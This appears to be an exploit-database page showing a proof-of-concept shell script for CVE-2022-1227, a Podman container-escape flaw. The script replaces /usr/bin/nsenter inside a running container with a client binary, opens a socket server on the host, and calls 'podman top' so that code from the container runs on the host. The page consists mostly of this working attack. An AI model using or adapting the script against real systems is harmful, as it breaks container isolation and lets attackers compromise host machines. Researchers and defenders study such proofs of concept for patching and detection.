Exploit databaseDownload repository ZIP
GH-34560c84551a2fced26d95b322d9674a
louisliunova/cve-2022-1227_exploit
Sources for CVE-2022-1227
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
louisliunova/cve-2022-1227_exploitRevision 59aa579e58dc
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp/exploit.sh
Suggested starting fileShell · 1,069 bytes#!bin/sh
# Here is the script for executing exploit automatically.
container_name=2022-1227
image_name=ubuntu
# Check if the container is existed; if so, delete it.
if podman ps --format '{{.Names}}' | grep -q "^${container_name}\$"; then
echo "Container ${container_name} exists"
podman stop $container_name
else
echo "Container ${container_name} does not exist"
fi
# Start a container with the given image
podman run --userns=keep-id --name=$container_name --rm -d $image_name sleep infinity
# Change the previliage of binaries
chmod 777 ./bin/*
# Copy socket_client to the container
podman cp ./bin/socket_client $container_name:/usr/bin/nsenter
# Create a new terminal to start the server; A GUI ubuntu is needed
gnome-terminal -- bash -c "./bin/socket_server;exec bash"
# Use `podman top` to trigger vulnerability
# Certainly this will return error; be releax because the binary is broken for sure. Check the display and normally you will find the server window returns a message from inside of the container.
podman top 2022-1227 user,huser